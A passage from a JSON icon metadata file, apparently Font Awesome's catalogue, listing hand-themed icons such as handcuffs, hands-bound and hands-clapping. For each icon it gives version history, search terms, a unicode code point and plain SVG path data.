        "path": "M246.9 23.7C242.3 6.6 224.8-3.5 207.7 1.1s-27.2 22.1-22.6 39.2L238 237.8c2.5 9.2-4.5 18.2-14 18.2c-6.4 0-12-4.2-13.9-10.3L166.6 102.7c-5.1-16.9-23-26.4-39.9-21.3s-26.4 23-21.3 39.9l62.8 206.4c2.4 7.9-7.2 13.8-13.2 8.1L99.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L156.8 448c43.1 41.1 100.4 64 160 64h10.9 8.2c.1 0 .1-.1 .1-.1v0c0-.1 .1-.1 .1-.1c58.3-3.5 108.6-43.2 125.3-99.7l81.2-275c5-16.9-4.7-34.7-21.6-39.8s-34.7 4.7-39.8 21.6L443.5 247.1c-1.6 5.3-6.4 8.9-12 8.9c-7.9 0-13.8-7.3-12.2-15.1l36-170.3c3.7-17.3-7.4-34.3-24.7-37.9s-34.3 7.4-37.9 24.7L355.1 235.1c-2.6 12.2-13.3 20.9-25.8 20.9c-11.9 0-22.4-8-25.4-19.5l-57-212.8z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M170.2 80.8C161 47 180.8 12 214.6 2.4c34-9.6 69.4 10.2 79 44.2l30.3 107.1L337.1 84c6.6-34.7 40.1-57.5 74.8-50.9c31.4 6 53 33.9 52 64.9c10-2.6 20.8-2.8 31.5-.1c34.3 8.6 55.1 43.3 46.6 77.6L486.7 397.2C469.8 464.7 409.2 512 339.6 512c-11.2 0-22.5 0-33.7 0c-56.9 0-112.2-19-157.2-53.9l-92-71.6c-27.9-21.7-32.9-61.9-11.2-89.8s61.9-32.9 89.8-11.2l17 13.2L100.5 167.5c-13-32.9 3.2-70.1 36-83c11.1-4.4 22.7-5.4 33.7-3.7zm77.1-21.2c-2.4-8.5-11.2-13.4-19.7-11s-13.4 11.2-11 19.7l54.8 182.4c3.5 12.3-3.3 25.2-15.4 29.3s-25.3-2-30-13.9L174.9 138.1c-3.2-8.2-12.5-12.3-20.8-9s-12.3 12.5-9 20.8l73.3 185.6c12 30.3-23.7 57-49.4 37l-63.1-49.1c-7-5.4-17-4.2-22.5 2.8s-4.2 17 2.8 22.5l92 71.6c36.5 28.4 81.4 43.8 127.7 43.8c11.2 0 22.5 0 33.7 0c47.5 0 89-32.4 100.5-78.5l55.4-221.6c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-26 104C435.6 271.8 425 280 413 280c-16.5 0-28.9-15-25.8-31.2L415.7 99c1.7-8.7-4-17.1-12.7-18.7s-17.1 4-18.7 12.7L352.5 260c-2.2 11.6-12.4 20-24.2 20c-11 0-20.7-7.3-23.7-17.9L247.4 59.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M170.2 80.8C161 47 180.8 12 214.6 2.4c34-9.6 69.4 10.2 79 44.2l30.3 107.1L337.1 84c6.6-34.7 40.1-57.5 74.8-50.9c31.4 6 53 33.9 52 64.9c10-2.6 20.8-2.8 31.5-.1c34.3 8.6 55.1 43.3 46.6 77.6L486.7 397.2C469.8 464.7 409.2 512 339.6 512c-11.2 0-22.5 0-33.7 0c-56.9 0-112.2-19-157.2-53.9l-92-71.6c-27.9-21.7-32.9-61.9-11.2-89.8s61.9-32.9 89.8-11.2l17 13.2L100.5 167.5c-13-32.9 3.2-70.1 36-83c11.1-4.4 22.7-5.4 33.7-3.7zm77.1-21.2c-2.4-8.5-11.2-13.4-19.7-11s-13.4 11.2-11 19.7l54.8 182.4c3.5 12.3-3.3 25.2-15.4 29.3s-25.3-2-30-13.9L174.9 138.1c-3.2-8.2-12.5-12.3-20.8-9s-12.3 12.5-9 20.8l73.3 185.6c12 30.3-23.7 57-49.4 37l-63.1-49.1c-7-5.4-17-4.2-22.5 2.8s-4.2 17 2.8 22.5l92 71.6c36.5 28.4 81.4 43.8 127.7 43.8c11.2 0 22.5 0 33.7 0c47.5 0 89-32.4 100.5-78.5l55.4-221.6c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-26 104C435.6 271.8 425 280 413 280c-16.5 0-28.9-15-25.8-31.2L415.7 99c1.7-8.7-4-17.1-12.7-18.7s-17.1 4-18.7 12.7L352.5 260c-2.2 11.6-12.4 20-24.2 20c-11 0-20.7-7.3-23.7-17.9L247.4 59.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "handcuffs": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrest",
        "criminal",
        "handcuffs",
        "jail",
        "lock",
        "police",
        "wrist"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f8",
    "label": "Handcuffs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M240 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM192 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32 80c17.7 0 32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C280.3 229.6 320 286.2 320 352c0 88.4-71.6 160-160 160S0 440.4 0 352c0-65.8 39.7-122.4 96.5-146.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32zm0 320a96 96 0 1 0 0-192 96 96 0 1 0 0 192zm192-96c0-25.9-5.1-50.5-14.4-73.1c16.9-32.9 44.8-59.1 78.9-73.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32s32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C600.3 229.6 640 286.2 640 352c0 88.4-71.6 160-160 160c-62 0-115.8-35.3-142.4-86.9c9.3-22.5 14.4-47.2 14.4-73.1zm224 0a96 96 0 1 0 -192 0 96 96 0 1 0 192 0zM368 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm80 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M240 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM192 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32 80c17.7 0 32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C280.3 229.6 320 286.2 320 352c0 88.4-71.6 160-160 160S0 440.4 0 352c0-65.8 39.7-122.4 96.5-146.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32zm0 320a96 96 0 1 0 0-192 96 96 0 1 0 0 192zm192-96c0-25.9-5.1-50.5-14.4-73.1c16.9-32.9 44.8-59.1 78.9-73.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32s32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C600.3 229.6 640 286.2 640 352c0 88.4-71.6 160-160 160c-62 0-115.8-35.3-142.4-86.9c9.3-22.5 14.4-47.2 14.4-73.1zm224 0a96 96 0 1 0 -192 0 96 96 0 1 0 192 0zM368 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm80 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "hands": {
    "aliases": {
      "names": ["sign-language", "signing"],
      "unicodes": {
        "secondary": ["10f2a7"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Translate", "asl", "deaf", "hands"]
    },
    "styles": ["solid"],
    "unicode": "f2a7",
    "label": "Hands",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 160l-.1 72.6c-.1 52.2-24 101-64 133.1c.1-1.9 .1-3.8 .1-5.7v-8c0-71.8-37-138.6-97.9-176.7l-60.2-37.6c-8.6-5.4-17.9-8.4-27.3-9.4L248.7 48.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8l78 135.1c3.3 5.7 10.7 7.7 16.4 4.4s7.7-10.7 4.4-16.4l-62-107.4c-6.6-11.5-2.7-26.2 8.8-32.8S362 5 368.6 16.5l68 117.8 0 0 0 0 43.3 75L480 160c0-17.7 14.4-32 32-32s32 14.4 32 32zM243.9 88.5L268.5 131c-13.9 4.5-26.4 13.7-34.7 27c-.9 1.4-1.7 2.9-2.5 4.4l-28.9-50c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zm-46.4 63.7l26.8 46.4c.6 6 2.1 11.8 4.3 17.4H224 210.7l0 0H179l-23-39.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zM260.9 175c9.4-15 29.1-19.5 44.1-10.2l60.2 37.6C416.7 234.7 448 291.2 448 352v8c0 83.9-68.1 152-152 152H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h92c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H56c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H224l0 0 0 0h93.2L271 219.1c-15-9.4-19.5-29.1-10.2-44.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M544 160l-.1 72.6c-.1 52.2-24 101-64 133.1c.1-1.9 .1-3.8 .1-5.7v-8c0-71.8-37-138.6-97.9-176.7l-60.2-37.6c-8.6-5.4-17.9-8.4-27.3-9.4L248.7 48.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8l78 135.1c3.3 5.7 10.7 7.7 16.4 4.4s7.7-10.7 4.4-16.4l-62-107.4c-6.6-11.5-2.7-26.2 8.8-32.8S362 5 368.6 16.5l68 117.8 0 0 0 0 43.3 75L480 160c0-17.7 14.4-32 32-32s32 14.4 32 32zM243.9 88.5L268.5 131c-13.9 4.5-26.4 13.7-34.7 27c-.9 1.4-1.7 2.9-2.5 4.4l-28.9-50c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zm-46.4 63.7l26.8 46.4c.6 6 2.1 11.8 4.3 17.4H224 210.7l0 0H179l-23-39.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zM260.9 175c9.4-15 29.1-19.5 44.1-10.2l60.2 37.6C416.7 234.7 448 291.2 448 352v8c0 83.9-68.1 152-152 152H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h92c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H56c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H224l0 0 0 0h93.2L271 219.1c-15-9.4-19.5-29.1-10.2-44.1z"
      }
    },
    "free": ["solid"]
  },
  "hands-asl-interpreting": {
    "aliases": {
      "names": [
        "american-sign-language-interpreting",
        "asl-interpreting",
        "hands-american-sign-language-interpreting"
      ],
      "unicodes": {
        "secondary": ["10f2a3"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["asl", "deaf", "finger", "hand", "interpret", "speak"]
    },
    "styles": ["solid"],
    "unicode": "f2a3",
    "label": "Hands Asl Interpreting",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M156.6 46.3c7.9-15.8 1.5-35-14.3-42.9s-35-1.5-42.9 14.3L13.5 189.4C4.6 207.2 0 226.8 0 246.7V256c0 70.7 57.3 128 128 128h72 8v-.3c35.2-2.7 65.4-22.8 82.1-51.7c8.8-15.3 3.6-34.9-11.7-43.7s-34.9-3.6-43.7 11.7c-7 12-19.9 20-34.7 20c-22.1 0-40-17.9-40-40s17.9-40 40-40c14.8 0 27.7 8 34.7 20c8.8 15.3 28.4 20.5 43.7 11.7s20.5-28.4 11.7-43.7c-12.8-22.1-33.6-39.1-58.4-47.1l80.8-22c17-4.6 27.1-22.2 22.5-39.3s-22.2-27.1-39.3-22.5L194.9 124.6l81.6-68c13.6-11.3 15.4-31.5 4.1-45.1S249.1-3.9 235.5 7.4L133.6 92.3l23-46zM483.4 465.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l85.9-171.7c8.9-17.8 13.5-37.4 13.5-57.2V256c0-70.7-57.3-128-128-128H440h-8v.3c-35.2 2.7-65.4 22.8-82.1 51.7c-8.9 15.3-3.6 34.9 11.7 43.7s34.9 3.6 43.7-11.7c7-12 19.9-20 34.7-20c22.1 0 40 17.9 40 40s-17.9 40-40 40c-14.8 0-27.7-8-34.7-20c-8.9-15.3-28.4-20.5-43.7-11.7s-20.5 28.4-11.7 43.7c12.8 22.1 33.6 39.1 58.4 47.1l-80.8 22c-17.1 4.7-27.1 22.2-22.5 39.3s22.2 27.1 39.3 22.5l100.7-27.5-81.6 68c-13.6 11.3-15.4 31.5-4.1 45.1s31.5 15.4 45.1 4.1l101.9-84.9-23 46z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M156.6 46.3c7.9-15.8 1.5-35-14.3-42.9s-35-1.5-42.9 14.3L13.5 189.4C4.6 207.2 0 226.8 0 246.7V256c0 70.7 57.3 128 128 128h72 8v-.3c35.2-2.7 65.4-22.8 82.1-51.7c8.8-15.3 3.6-34.9-11.7-43.7s-34.9-3.6-43.7 11.7c-7 12-19.9 20-34.7 20c-22.1 0-40-17.9-40-40s17.9-40 40-40c14.8 0 27.7 8 34.7 20c8.8 15.3 28.4 20.5 43.7 11.7s20.5-28.4 11.7-43.7c-12.8-22.1-33.6-39.1-58.4-47.1l80.8-22c17-4.6 27.1-22.2 22.5-39.3s-22.2-27.1-39.3-22.5L194.9 124.6l81.6-68c13.6-11.3 15.4-31.5 4.1-45.1S249.1-3.9 235.5 7.4L133.6 92.3l23-46zM483.4 465.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l85.9-171.7c8.9-17.8 13.5-37.4 13.5-57.2V256c0-70.7-57.3-128-128-128H440h-8v.3c-35.2 2.7-65.4 22.8-82.1 51.7c-8.9 15.3-3.6 34.9 11.7 43.7s34.9 3.6 43.7-11.7c7-12 19.9-20 34.7-20c22.1 0 40 17.9 40 40s-17.9 40-40 40c-14.8 0-27.7-8-34.7-20c-8.9-15.3-28.4-20.5-43.7-11.7s-20.5 28.4-11.7 43.7c12.8 22.1 33.6 39.1 58.4 47.1l-80.8 22c-17.1 4.7-27.1 22.2-22.5 39.3s22.2 27.1 39.3 22.5l100.7-27.5-81.6 68c-13.6 11.3-15.4 31.5-4.1 45.1s31.5 15.4 45.1 4.1l101.9-84.9-23 46z"
      }
    },
    "free": ["solid"]
  },
  "hands-bound": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abduction", "bound", "handcuff", "wrist"]
    },
    "styles": ["solid"],
    "unicode": "e4f9",
    "label": "Hands Bound",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 32C96 14.3 81.7 0 64 0S32 14.3 32 32V96v59.1 .7V192v21.9c0 14.2 5.1 27.9 14.3 38.7L131.6 352H128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32H288h64H480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24h-3.6l85.3-99.5c9.2-10.8 14.3-24.5 14.3-38.7V192 155.8v-.7V96 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V96v48.8l-69.3 92.4c-5.7 7.6-16.1 9.6-24.2 4.8c-9.7-5.7-12.1-18.7-5.1-27.5L473 180c10.8-13.5 8.9-33.3-4.4-44.5s-33-9.8-44.5 3.2l-46.7 52.5C361 209.7 352 233.4 352 258.1V320v32H288V320 258.1c0-24.6-9-48.4-25.4-66.8l-46.7-52.5c-11.5-13-31.3-14.4-44.5-3.2s-15.2 30.9-4.4 44.5l27.6 34.5c7 8.8 4.7 21.8-5.1 27.5c-8.1 4.8-18.6 2.7-24.2-4.8L96 144.8V96 32zm64 448v32H288V480h64v32H480V480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H480 352 288 160 128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 32C96 14.3 81.7 0 64 0S32 14.3 32 32V96v59.1 .7V192v21.9c0 14.2 5.1 27.9 14.3 38.7L131.6 352H128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32H288h64H480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24h-3.6l85.3-99.5c9.2-10.8 14.3-24.5 14.3-38.7V192 155.8v-.7V96 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V96v48.8l-69.3 92.4c-5.7 7.6-16.1 9.6-24.2 4.8c-9.7-5.7-12.1-18.7-5.1-27.5L473 180c10.8-13.5 8.9-33.3-4.4-44.5s-33-9.8-44.5 3.2l-46.7 52.5C361 209.7 352 233.4 352 258.1V320v32H288V320 258.1c0-24.6-9-48.4-25.4-66.8l-46.7-52.5c-11.5-13-31.3-14.4-44.5-3.2s-15.2 30.9-4.4 44.5l27.6 34.5c7 8.8 4.7 21.8-5.1 27.5c-8.1 4.8-18.6 2.7-24.2-4.8L96 144.8V96 32zm64 448v32H288V480h64v32H480V480h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H480 352 288 160 128c-13.3 0-24 10.7-24 24s10.7 24 24 24h32z"
      }
    },
    "free": ["solid"]
  },
  "hands-bubbles": {
    "aliases": {
      "names": ["hands-wash"],
      "unicodes": {
        "secondary": ["10e05e"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "hygiene", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e05e",
    "label": "Hands Bubbles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M416 64a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM160 464a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM32 160l.1 72.6c.1 52.2 24 101 64 133.1c-.1-1.9-.1-3.8-.1-5.7v-8c0-71.8 37-138.6 97.9-176.7l60.2-37.6c8.6-5.4 17.9-8.4 27.3-9.4l45.9-79.5c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8l-78 135.1c-3.3 5.7-10.7 7.7-16.4 4.4s-7.7-10.7-4.4-16.4l62-107.4c6.6-11.5 2.7-26.2-8.8-32.8S214 5 207.4 16.5l-68 117.8 0 0 0 0-43.3 75L96 160c0-17.7-14.4-32-32-32s-32 14.4-32 32zM332.1 88.5L307.5 131c13.9 4.5 26.4 13.7 34.7 27c.9 1.5 1.7 2.9 2.5 4.4l28.9-50c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zm46.4 63.7l-26.8 46.4c-.6 6-2.1 11.8-4.3 17.4H352h13.3l0 0H397l23-39.8c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zM315.1 175c-9.4-15-29.1-19.5-44.1-10.2l-60.2 37.6C159.3 234.7 128 291.2 128 352v8c0 8.9 .8 17.6 2.2 26.1c35.4 8.2 61.8 40 61.8 77.9c0 6.3-.7 12.5-2.1 18.4C215.1 501 246.3 512 280 512H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H352l0 0 0 0H258.8L305 219.1c15-9.4 19.5-29.1 10.2-44.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M416 64a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM160 464a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM32 160l.1 72.6c.1 52.2 24 101 64 133.1c-.1-1.9-.1-3.8-.1-5.7v-8c0-71.8 37-138.6 97.9-176.7l60.2-37.6c8.6-5.4 17.9-8.4 27.3-9.4l45.9-79.5c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8l-78 135.1c-3.3 5.7-10.7 7.7-16.4 4.4s-7.7-10.7-4.4-16.4l62-107.4c6.6-11.5 2.7-26.2-8.8-32.8S214 5 207.4 16.5l-68 117.8 0 0 0 0-43.3 75L96 160c0-17.7-14.4-32-32-32s-32 14.4-32 32zM332.1 88.5L307.5 131c13.9 4.5 26.4 13.7 34.7 27c.9 1.5 1.7 2.9 2.5 4.4l28.9-50c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zm46.4 63.7l-26.8 46.4c-.6 6-2.1 11.8-4.3 17.4H352h13.3l0 0H397l23-39.8c6.6-11.5 2.7-26.2-8.8-32.8s-26.2-2.7-32.8 8.8zM315.1 175c-9.4-15-29.1-19.5-44.1-10.2l-60.2 37.6C159.3 234.7 128 291.2 128 352v8c0 8.9 .8 17.6 2.2 26.1c35.4 8.2 61.8 40 61.8 77.9c0 6.3-.7 12.5-2.1 18.4C215.1 501 246.3 512 280 512H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H364c-6.6 0-12-5.4-12-12s5.4-12 12-12H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H352l0 0 0 0H258.8L305 219.1c15-9.4 19.5-29.1 10.2-44.1z"
      }
    },
    "free": ["solid"]
  },
  "hands-clapping": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["applause", "clap", "clapping hands", "hand"]
    },
    "styles": ["solid"],
    "unicode": "e1a8",
    "label": "Hands Clapping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336 16V80c0 8.8-7.2 16-16 16s-16-7.2-16-16V16c0-8.8 7.2-16 16-16s16 7.2 16 16zm-98.7 7.1l32 48c4.9 7.4 2.9 17.3-4.4 22.2s-17.3 2.9-22.2-4.4l-32-48c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4zM135 119c9.4-9.4 24.6-9.4 33.9 0L292.7 242.7c10.1 10.1 27.3 2.9 27.3-11.3V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4c-64 38.4-145.8 28.3-198.5-24.4L7 361c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l53 53c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L23 265c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l93 93c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L55 185c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l117 117c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1l-93-93c-9.4-9.4-9.4-24.6 0-33.9zM433.1 484.9c-24.2 14.5-50.9 22.1-77.7 23.1c48.1-39.6 76.6-99 76.6-162.4l0-98.1c8.2-.1 16-6.4 16-16V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4zM424.9 18.7c7.4 4.9 9.3 14.8 4.4 22.2l-32 48c-4.9 7.4-14.8 9.3-22.2 4.4s-9.3-14.8-4.4-22.2l32-48c4.9-7.4 14.8-9.3 22.2-4.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336 16V80c0 8.8-7.2 16-16 16s-16-7.2-16-16V16c0-8.8 7.2-16 16-16s16 7.2 16 16zm-98.7 7.1l32 48c4.9 7.4 2.9 17.3-4.4 22.2s-17.3 2.9-22.2-4.4l-32-48c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4zM135 119c9.4-9.4 24.6-9.4 33.9 0L292.7 242.7c10.1 10.1 27.3 2.9 27.3-11.3V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4c-64 38.4-145.8 28.3-198.5-24.4L7 361c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l53 53c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L23 265c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l93 93c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1L55 185c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l117 117c6.1 6.1 16 6.1 22.1 0s6.1-16 0-22.1l-93-93c-9.4-9.4-9.4-24.6 0-33.9zM433.1 484.9c-24.2 14.5-50.9 22.1-77.7 23.1c48.1-39.6 76.6-99 76.6-162.4l0-98.1c8.2-.1 16-6.4 16-16V192c0-17.7 14.3-32 32-32s32 14.3 32 32V345.6c0 57.1-30 110-78.9 139.4zM424.9 18.7c7.4 4.9 9.3 14.8 4.4 22.2l-32 48c-4.9 7.4-14.8 9.3-22.2 4.4s-9.3-14.8-4.4-22.2l32-48c4.9-7.4 14.8-9.3 22.2-4.4z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4c2"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "hold", "lift"]
    },
    "styles": ["solid"],
    "unicode": "f4c2",
    "label": "Hands Holding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 104c0-22.1-17.9-40-40-40S0 81.9 0 104v56 64V325.5c0 25.5 10.1 49.9 28.1 67.9L128 493.3c12 12 28.3 18.7 45.3 18.7H240c26.5 0 48-21.5 48-48V385.1c0-29.7-11.8-58.2-32.8-79.2l-25.3-25.3 0 0-15.2-15.2-32-32c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l32 32 15.2 15.2c11 11 9.2 29.2-3.7 37.8c-9.7 6.5-22.7 5.2-31-3.1L98.7 309.5c-12-12-18.7-28.3-18.7-45.3V224 144 104zm480 0v40 80 40.2c0 17-6.7 33.3-18.7 45.3l-51.1 51.1c-8.3 8.3-21.3 9.6-31 3.1c-12.9-8.6-14.7-26.9-3.7-37.8l15.2-15.2 32-32c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-32 32-15.2 15.2 0 0-25.3 25.3c-21 21-32.8 49.5-32.8 79.2V464c0 26.5 21.5 48 48 48h66.7c17 0 33.3-6.7 45.3-18.7l99.9-99.9c18-18 28.1-42.4 28.1-67.9V224 160 104c0-22.1-17.9-40-40-40s-40 17.9-40 40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
